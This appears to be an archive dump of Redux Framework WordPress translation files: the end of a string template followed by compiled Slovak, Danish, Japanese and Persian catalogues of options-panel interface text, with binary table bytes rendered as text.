ReduxCore/inc/welcome/views/status_report.php:630 msgid "The parent theme developers URL." msgstr "" #: ReduxCore/inc/welcome/views/support.php:2 msgid "Redux Framework - Support" msgstr "" #: ReduxCore/inc/welcome/views/support.php:5 msgid "" "We are an open source project used by developers to make powerful control " "panels." msgstr "" #: ReduxCore/inc/welcome/views/support.php:20 msgid "Generate a Support URL" msgstr "" #: ReduxCore/inc/welcome/views/support.php:21 msgid "Select Support Type" msgstr "" #: ReduxCore/inc/welcome/views/support.php:22 #: ReduxCore/inc/welcome/views/support.php:65 msgid "How to Get Support" msgstr "" #: ReduxCore/inc/welcome/views/support.php:27 msgid "Submit a Support Request" msgstr "" #: ReduxCore/inc/welcome/views/support.php:30 msgid "To get started, we will need to generate a support hash." msgstr "" #: ReduxCore/inc/welcome/views/support.php:33 msgid "" "This will provide to your developer all the information they may need to " "remedy your issue. This action WILL send information securely to a remote " "server. To see the type of information sent, please look at the Status tab." msgstr "" #: ReduxCore/inc/welcome/views/support.php:37 msgid "" "Generate\n" " a Support URL" msgstr "" #: ReduxCore/inc/welcome/views/support.php:44 msgid "Select Your Support Type" msgstr "" #: ReduxCore/inc/welcome/views/support.php:47 msgid "What type of user are you?" msgstr "" #: ReduxCore/inc/welcome/views/support.php:52 msgid "User" msgstr "" #: ReduxCore/inc/welcome/views/support.php:53 msgid "I am a user, using a pre-built product." msgstr "" #: ReduxCore/inc/welcome/views/support.php:56 msgid "Developer" msgstr "" #: ReduxCore/inc/welcome/views/support.php:57 msgid "I am a developer, building a product using Redux." msgstr "" #: ReduxCore/inc/welcome/views/support.php:68 msgid "" "Please proceed to the Redux Framework issue tracker and supply us with your " "support URL below. Please also provide any information that will help us to " "reproduce your issue." msgstr "" #: ReduxCore/inc/welcome/views/support.php:74 msgid "" "Listed below are the Wordpress plugins and/or theme installed on your site " "that utilize Redux Framework. We do not directly support products created " "with our framework. It is the responsibility of the plugin or theme " "developer to support their work. You will need to contact the author(s) of " "the products listed below with your support questions." msgstr "" #: ReduxCore/inc/welcome/views/support.php:77 msgid "" "Please be sure to include for your developer - via cut and paste - the " "Support URL in the box below." msgstr "" #: ReduxCore/inc/welcome/views/support.php:215 msgid "" "Should the developer not be responsive, read the following article before asking for support from us " "directly." msgstr "" #: ReduxCore/inc/welcome/welcome.php:170 msgid "Support hash could not be generated. Please try again later." msgstr "" #: ReduxCore/inc/welcome/welcome.php:190 msgid "Welcome to Redux Framework" msgstr "" #: ReduxCore/inc/welcome/welcome.php:198 msgid "Redux Framework Changelog" msgstr "" #: ReduxCore/inc/welcome/welcome.php:206 class.redux-plugin.php:411 msgid "Get Support" msgstr "" #: ReduxCore/inc/welcome/welcome.php:223 msgid "The people that develop Redux Framework" msgstr "" #: ReduxCore/inc/welcome/welcome.php:231 msgid "Redux Framework Status" msgstr "" #: ReduxCore/inc/welcome/welcome.php:336 msgid "What's New" msgstr "" #: ReduxCore/inc/welcome/welcome.php:340 msgid "Extensions" msgstr "" #: ReduxCore/inc/welcome/welcome.php:344 msgid "Changelog" msgstr "" #: ReduxCore/inc/welcome/welcome.php:348 msgid "Credits" msgstr "" #: ReduxCore/inc/welcome/welcome.php:352 msgid "Support" msgstr "" #: ReduxCore/inc/welcome/welcome.php:356 msgid "Status" msgstr "" #: ReduxCore/inc/welcome/welcome.php:513 msgid "View %s" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:47 #: ReduxCore/templates/panel/header_stickybar.tpl.php:20 msgid "Save Changes" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:50 #: ReduxCore/templates/panel/header_stickybar.tpl.php:22 msgid "Reset Section" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:51 #: ReduxCore/templates/panel/header_stickybar.tpl.php:23 msgid "Reset All" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:56 #: ReduxCore/templates/panel/header_stickybar.tpl.php:26 msgid "Working..." msgstr "" #: ReduxCore/templates/panel/header.tpl.php:18 msgid "Developer Mode Enabled" msgstr "" #: ReduxCore/templates/panel/header_stickybar.tpl.php:16 msgid "Expand" msgstr "" #: class.redux-plugin.php:307 msgid "Redux Framework has an embedded demo." msgstr "" #: class.redux-plugin.php:307 msgid "Click here to activate the sample config file." msgstr "" #: class.redux-plugin.php:408 msgid "Docs" msgstr "" #: class.redux-plugin.php:409 msgid "Repo" msgstr "" #: class.redux-plugin.php:410 msgid "Builder" msgstr "" #: class.redux-plugin.php:416 msgid "Deactivate Demo Mode" msgstr "" #: class.redux-plugin.php:418 msgid "Activate Demo Mode" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:28 msgid "Must call in of after the \"plugins_loaded\" action." msgstr "" #: tests/includes/class-tivwp-dm-controller.php:138 msgid "Unknown action \"%1$s\" specified for %2$s" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:143 msgid "The unknown action has been replaced with \"%s\"" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:158 msgid "Automatic action performed: \"%s\"" msgstr "" #: tests/includes/class-tivwp-dm.php:112 msgid "Activate Development Plugins" msgstr "" #: tests/includes/class-tivwp-dm.php:119 msgid "Deactivate Development Plugins" msgstr "" #: tests/includes/class-tivwp-dm.php:131 msgid "You do not have sufficient permissions to access this page." msgstr "" #. Plugin URI of the plugin/theme msgid "http://wordpress.org/plugins/redux-framework" msgstr "" #. Description of the plugin/theme msgid "" "Redux is a simple, truly extensible options framework for WordPress themes " "and plugins." msgstr "" #. Author of the plugin/theme msgid "Team Redux" msgstr "" #. Author URI of the plugin/theme msgid "http://reduxframework.com" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:427 msgctxt "by author" msgid "by %s" msgstr ""lib/redux-framework/languages/redux-framework-sk_SK.mo000064400000017332147206624460017112 0ustar00Ok "*<CS pz     $ ; G S b "          % . A O D ^ # * 0 = B H X ^ j &0 {W | PVZ^dk4 =HPh P0;"Dgp#/Smu     & ,8A ^ lv   )4< q|'%% 7E  !29P-v3}(/48AI? V `m$ MR9> KH9!.JF*E#B'M0+5/A4<$%: 3LIG6( N;D? 7-81 C2 ,O)@"=&%s → Add NewActiveAdd-on plugins are available that greatly extend the default functionality of Easy Digital Downloads. There are extensions for payment processors, such as Stripe and PayPal, extensions for newsletter integrations, and many, many more.Additional Display OptionsAdditional UpdatesAllBackground AttachmentBackground PositionBackground RepeatBottomBuy Now ButtonsChange the Number of ColumnsChangelogCloseCopyCreditsDefaultDeleteDescriptionDisableDismissDisplay a Product GridDocumentationDownloadDownload FilesEmail addressEnableExtensions for EverythingFlexible Product GridsFont FamilyFont familyFull ChangelogGet Alerted About New TutorialsGet Notified of Extension ReleasesGetting StartedHeightImportLeftNeed Even Faster Support?Need Help?No valid changlog was found.OffOnOver 250 ExtensionsPasswordPhenomenal SupportProduct PriceProducts can have simple prices or variable prices if you wish to have more than one price point for a product. For a single price, simply enter the price. For multiple price points, click Enable variable pricing and enter the options.Purchase Buttons AnywherePurchase buttons can behave as either Add to Cart or Buy Now buttons. With Buy Now buttons customers are taken straight to PayPal, giving them the most frictionless purchasing experience possible.RemoveRightSave ChangesSizeSlideStay Up to DateStyleSystem InfoThe %s menu is your access point for all aspects of your Easy Digital Downloads product creation and setup. To create your first product, simply click Add New and then fill out the product details.The [purchase_link] ShortcodeThe [downloads] shortcode will display a product grid that works with any theme, no matter the size. It is even responsive!The product grids can be customized in any way you wish and there is extensive documentation to assist you.TitleTopURLUnitsUploadUploading the downloadable files is simple. Click Upload File in the Download Files section and choose your download file. To add more than one file, simply click the Add New button.UsernameVersion %sView %sView the Full ChangelogVisit the Extension StoreWhat's NewWidthWith easily accessible shortcodes to display purchase buttons, you can add a Buy Now or Add to Cart button for any product anywhere on your site in seconds.You can easily change the number of columns by adding the columns="x" parameter:You do not have sufficient permissions to access this page.Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Slovak (Slovakia) (http://www.transifex.com/projects/p/redux-framework/language/sk_SK/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sk_SK Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Pridať nový %s AktívnyExistuje veľa doplnkov rozširujúcich funkcionalitu Easy Digital Downloads. Rozšírenia zahŕňajú platobné procesory (Stripe, PayPal) integráciu informačných letákov a omnoho viac.Nastavenia pokročilého zobrazeniaDodatočné aktualizácieVšetkoPríloha pozadiaUmiestnenie pozadiaOpakovanie pozadiaSpodokTlačidlá kúpiť ihneďZmeniť počet stĺpcovZoznam zmienZatvoriťKopírovaťKredityPredvolenýVymazaťPopisZablokovaťZrušiťZobraziť mriežku produktovDokumentáciaStiahnuťStiahnuť súboryE-mailová adresaPovoliťRozšírenia pre všetko možnéFlexibilná mriežka produktovŠtýl písmaTyp písmaÚplný záznam zmienZískajte informácie o nových návodochZískajte oznámenia o vydaní nových rozšírení.ZačínameVýškaImportVľavoPotrebujete ešte rýchlejšiu podporu?Potrebujete pomoc?Nebol nájdený platný záznam zmienVypnúťZapnúťViac ako 250 rozšíreníHesloÚžasná podporaCena produktuProdukty môžu mať jednotné alebo variabilné ceny. Ak si želáte jednotnú cenu zadajte tú. Pre nastavenia viacerých cien, nastavte variabilné ceny.Všade tlačidlá nákupuTlačidlá nákupu sa správajú buď ako tlačidlo "pridať do košíka" alebo ako tlačidlo "kúpiť teraz". Pomocou "kúpiť teraz" je zákazník rovno presmerovaný na stránku PayPal kde zažije najlepšiu platobnú skúsenosť.OdstrániťVpravoUložiť zmenyVeľkostiPosuvBuďte aktuálnyŠtýlInformácie o systémeMenu %s hrá úlohu prístupu k vytvoreniu a nastavenou celého modulu Easy Digital Downloads. Pre vytvorenie produktu kliknite na tlačidlo "pridať nový" a vyplňte podrobnosti.Krátky kód nákupu [purchase_link]Krátky kód [downloads] je responzívna mriežka vašich produktov. Teraz môžete predávať na ľubovoľnom mieste!Mriežka produktov je prispôsobiteľná podľa vašich požiadaviek. Môžeme vám pomôcť dokumentáciou.NázovVrchURLJednotkyNahraťNahratie stiahnuteľných súborov je jednoduché. V sekcii stiahnutia súborov si vyberiete súbor a kliknete na tlačidlo nahrať súbor. Pre pridanie viacerých súborov jednoducho klikajte daľej na tlačiclo pridať nový.Používateľské menoVerzia %sZobraziť %sZobraziť celý záznam zmien.Navštíviť obchod s rozšíreniamiČo je novéŠírkaPomocou krátkych kódov predstavujúcich tlačidlá: Pridať do košíka a Kúpiť teraz môžete zobraziť nákup kdekoľvek na stránke.Jednoducho môžete zmeniť počet stĺpcov pridaním parametra: columns="x" Nemáte dostatočné práva na prístup k tejto stránke.lib/redux-framework/languages/redux-framework-da_DK.mo000064400000011611147206624460017034 0ustar00Tq\ !4QX_c z  *2 9 EOfn v          + < C H R ` f s      .      ( 7 > C L T _ g }   ;    ,: jg  '!@bx     1;APX ^ it      #) .; KVe  1 -EL S^ fqx   A29B,\A/5O'4<" *#3P6$=)@(L:%SF?HJ &8I, 9-1C7Q KERMT!;G.N2B+ >D 0Activate Demo ModeActivate Development PluginsActiveAdd %sAllAll Defaults Restored!Automatic action performed: "%s"Background AttachmentBackground PositionBackground RepeatBottomChangelogCloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDisableDismissEmail addressEnableExpandExtensionsFont FamilyFont SizeFont familyFrom HeightHintsImportLeftNameNew %sNewsletterNo media selectedOffOnOptionsPasswordPlease WaitRedux ExtensionsRemoveRepoReset AllReset SectionRightSave ChangesSettings Imported!Settings Saved!SizeStatusStyleSupportSystem InfoTeam ReduxThe unknown action has been replaced with "%s"ThemeTitleTo TopURLUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageWelcome to Redux FrameworkWelcome to Redux Framework %sWhat's NewWidthWorking...You do not have sufficient permissions to access this page.clickingdonationhttp://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkProject-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Danish (Denmark) (http://www.transifex.com/projects/p/redux-framework/language/da_DK/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: da_DK Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktiver DemofunktionAktiver Udvikling PluginsAktiveTilføj %sAlleAlle standardindstillinger Restaureret!Automatisk handling udført: "%s"BaggrundsvedhæftningBaggrundsplaceringGentag baggrundBundÆndringslogLukKrediteringerDeaktiver DemofunktionDeaktiver Udvikling PluginsStandardSletBeskrivelseUdviklerUdvikler Tilstand AktiveretDeaktiverAfvisE-mail AdresseAktiverUdvidUdvidelserSkrifttypeSkriftstørrelseFontfamilieFraHøjdeTipsImporterVenstreNavnNy %sNyhedsbrevIngen medier er valgtFraPåIndstillingerAdgangskodeVent VenligstRedux UdvidelserFjernRepoNulstil AlleNulstil SektionHøjreGem ændringerIndstillinger Importeret!Indstillinger gemt!StørrelseStatusStyleSupportSystem infoTeam ReduxDen ukendte handling er blevet erstattet med "%s"TemaTitelTilTopURLUkendte handling "%1$s" specificeret for %2$sUploadBrugerBrugernavnVersionVersion %sVis %sBesøg plugin-webstedVelkommen til Redux FrameworkVelkommen til Redux Framework %sHvad er nytBreddeArbejder...Du har ikke tilstrækkelige rettigheder til at se denne side.klikkedonationhttp://reduxframework.comhttp://wordpress.org/plugins/redux-frameworklib/redux-framework/languages/redux-framework-ja.mo000064400000036714147206624460016477 0ustar00 5#DY4  ,@Rb u  . ! -7NV^ t           +8 >IYipTZUZaq]XGL [ g2s ! 0 9EVf%W " ,: @Mhw,(  !) 1 = HScr'.3'& Nouy }( U F`    ;)FeEKb>L3-"/Pa`CLUjJ,, > T f U} #*#$ !$.$!>$`$0g$$T$l %Tv%%%%&&-&=&S&$f&&& &&f& 5'?'O'*k'''' '' '''(,(3(:( S( `(j(z(( (( ( ((( )")')=)P)g)6n)c) ++ +v+7,$G,l,,,o2---- -P-'. ..;.<Q.*.....K.&ia nbK+"yk4?2Su=- 86qdN*[ 1Os f#(/Activate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.HoverIf you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Japanese (http://www.transifex.com/projects/p/redux-framework/language/ja/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ja Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes デモモードを有効化開発プラグインを有効化します有効%s を追加さらに追加ギャラリーを追加 / 編集全てすべてデフォルトに復元しました。トラッキングを許可本当にリセットしますか?すべての値を失うことになります。本当にリセットしますか?このセクションのすべての値を失うことになります。本当にリセットしますか?すべての値を失うことになります。自動アクションが実行:"%s"背景スクロール背景クリップ背景オリジン背景の位置背景の繰り返し背景のサイズ文字の種類をバックアップ枠線のスタイル下更新履歴ギャラリーをクリアサンプルの設定ファイルを有効にするには、ここをクリックしてください。閉じるクレジットデモモードを無効化開発プラグインを無効化しますデフォルト削除説明開発者開発者モードを有効化無効化非表示にするトラッキングを拒否メールアドレス有効拡大エクスポート設定機能拡張文字色文字の種類文字サイズフォントのサブセットFont Variant文字の太さ文字色フォント文字スクリプト文字のスタイル文字のサブセットFromフロントページ始めてみようGoogle Webフォント高さ私たちのパネルの改善にご協力ください現在のオプション設定をダウンロード/コピーすることができます。何か誤操作をした場合、バックアップとして使用することができます。これは安全を守るため、もしくはこのサイト(または任意の他のサイト)で設定を復元するために使用することができます。ヒントHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.ホバーもしあなたが Redux の動向を追いたいのであれば、ニュースレターを購読してください。インポートインポート / エクスポートインポート設定URLからインポートそのサイトからオプションをロードするインポートオプションを設定し、別のサイトへのURLを入力してヒット。あなたのサイトの設定を復元するためには、インポートをクリックしてください。左字間Redux が好きですか?行の高さ「plugins_loaded」アクションの後に呼び出す必要があります。名称新しい %sニュースレター一致するアイテムは見つかりませんでした。メディアが選択されていません無効有効オプション設定オブジェクトオプションパネルは %1$s を使用して作成されています。パスワードしばらくお待ちください...Reduxの拡張機能Redux FrameworkRedux Framework の変更履歴Redux Framework には、デモが内蔵されています。Redux ジェネレータReduxのは、WordPressのテーマやプラグインのためのシンプルな、真拡張可能なオプションフレームワークです。レギュラー削除レポジトリすべてリセットセクションをリセット右変更を保存するセクションをデフォルトに復元しました。アイテムを選択設定がインポートされました。設定を保存しました。設定に変更があります。保存することをおすすめします。JavaScript コンソール でオブジェクトを見て下さい。サイズスライド標準フォントステータススタイル購読サブセットサポートシステム情報チーム Redux文字の配置文字装飾文字の変形以下のディレクトリ·ファイルがまだあなたの Reduxののディレクトリに格納されています。テーマ·チェックでエラーが発生することがあります。Redux Framework を開発する人たちあなたがテストしているテーマは、%sが埋め込まれています。いくつかの警告を理解するために%sテーマ·チェック用ドキュメント%sを読むことを勧めます不明なアクションは "%s" に置き換えられました。テーマこのフィールドは空にすることはできません。値を入力してください。有効な色の値でなければなりません。有効な日付である必要があります。タイトルTo上透明URL単位不明なアクション: %2$s に指定された "%1$s" アップロードユーザーユーザー名バージョンバージョン %sビュー %sプラグインのホームページを表示Visited警告!これは、すべての既存のオプション値が上書きされます、注意して行ってください。警告 - このオプションパネルは JavaScript が無効になっていると正常に動作しません! Redux Framework へようこそRedux Framework %s へようこそReduxのデモパネルへようこそ新着情報幅単語の間隔Working...このページにアクセスするための十分なアクセス権がありません。変更が保存されていません。保存しますか?変更が保存されていません。保存しますか?このフィールドにはHTMLを入力してはなりません。すべてのHTMLタグが削除されました。このフィールド内の特殊文字を入力してはなりません。すべての特殊文字が削除されました。このオプションの数値をカンマで区切ったリストを提供する必要があります。オプションの数値を指定する必要があります。オプションに有効なURLを指定する必要があります。オプションに有効なメールアドレスを提供する必要があります。現在の設定は、プリセット値に置き換えられます。続行しますか?現在の設定は、プリセット値に置き換えられます。続行しますか?クリック寄付エラー が見つかりました拡張機能ディレクトリ適切な読み取り/書き込み権限を設定するか、下記にFTP情報を入力してください。http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkWordPress.orgで私たちにレビューを残すマウスを移動するドキュメンテーション(複数の)警告が見つかりました!lib/redux-framework/languages/redux-framework-fa_IR.mo000064400000031153147206624460017055 0ustar00     ' 0 A E \ 5k D 4 1ASgy    ! -7NV^ t           )/?OVmsy]X fk z !    #2E,U(    -33'g   F"i   ;F'EnKbLc3-/BKTJi,#a:3<  -&Nu#|fyf6On4   # > G :X C     '!=!W!%^!!!!!!!!# "/"C"a"q"""#"""" #"#<# E#P#"d# ###|$7%<%P%b% t%%7%'% %%&&,&;&T&&4&3'M'V']''f'''''#'!'#(]C(7( ( ("( )!) ()5)N)_) y)))) )[)D%*Hj* **** ****+"+ ++7+%I+o+r+1+5(,<^,,,, ,X,w7-w-}'..=/X/X-0[0007 1~E11,1 2 2,>2ArUmgt1 K:D/Q;J )]BX" 6=\|?#$n!+Rk_[`~V7csh eb4'po%aW>ET(<@Mw3{-fY.& u}C O8Hx^PjF*G2vyqdL5i,z0SZ9INlActivate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryCloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDisableDismissDo not allow trackingEmail addressEnableExpandExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHintsHoverImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLine HeightNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux FrameworkRedux Framework ChangelogRedux GeneratorRegularRemoveRepoReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWarning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.clickingdonationerror(s) were found!has the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Persian (Iran) (http://www.transifex.com/projects/p/redux-framework/language/fa_IR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fa_IR Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes فعال کردن حالت نسخه ی نمایشیفعال کردن افزونه های در حال توسعهفعالاضافه کردن %sافزودن ادامه مطلبافزودن / ویرایش گالریهمهپیشفرض ها بازگشتند!اجازه ردیابیآیا مطمئن هستید ؟ تمام مقادیر وارد شده از بین خواهند رفت.آیا مطمئن هستید ؟ تمام مقادیر وارد شده در این بخش از بین خواهند رفت.آیا مطمئن هستید ؟ تمام مقادیر وارد شده از بین خواهند رفت.پیوست پس‌زمینهفیلم پس زمینهمنبع پس زمینهموقعیت پس‌زمینهتکرار پس‌زمینهاندازه پس زمینهپشتیبان گیری از خانواده فونتاستایل حاشیهپایینمرورگرثبت تغییراتپاک کردن گالریبستنسازندگانغیر فعال کردن حالت نسخه ی نمایشیغیر فعال کردن افزونه های در حال توسعهپیش‌فرضحذفتوضیحاتتوسعه‌دهندهحالت برنامه نویس فعالغیرفعال‌سازیلغواجازه ردیابی نمی دهمآدرس ایمیلفعالبازگشایی همهافزونه‌هارنگ فونتخانواده فونتاندازه فونتزیر مجموعه های فونتمتغیر فونتعرض فونت & سبکرنگ فونتخانواده فونتاسکریپت فونتسبک فونتزیر مجموعه های فونتازشروع کنیدوب فونت های گوگلیارتفاعکمک به بهبود پنل مانکاتشناوردرون‌آوریدرون ریزی/ برون بریتنظیمات درون ریزیدرون ریزی از آدرسآدرس بک آپ را در این قسمت وارد کنید و با زدن دکمه درون ریزی تنظیمات سایت را از آدرس بک آپ بازگردانید.فایل بک آپ خود را در این قسمت وارد کنید و با زدن دکمه درون ریزی تنظیمات سایت را از فایل بک آپ بازگردانید.چپفاصله حروفارتفاع خطنام پیوندجدید %sخبرنامههیچ موردی در این باره پیدا نشد.هیچ فایلی انتخاب نشدهخاموشروشنتنظیماتتنظیمات اشیاءرمزعبورلطفا صبر کنیدبرای بهبود پنل به ما کمک کنید تا بتوانیم آزمایشاتی در سیستم های مختلف تست کنیمفریم ورک ردوکسگزارش تغییرات فریم ورک ردوکسژنراتور ردوکسمنظمحذفمخزنبازگردانی پیش فرض همهبازگردانی پیش فرض بخشراستذخیره تغییراتیک ایتم انتخاب کنیدتنظیمات وارد شدند!تنظیمات ذخیره شدند!تنظیمات تغییر کرده اند ، شما باید آنها را ذخیر کنید!نمایش شی در جاوا اسکریپت آبجکتاندازهاسلایدفونت های استانداردوضعیتسبکاشتراکزیر مجموعه هاپشتیبانیاطلاعات سیستمتیم Reduxتراز متنتزئینات متنتبدیل متنپوستهاین فیلد 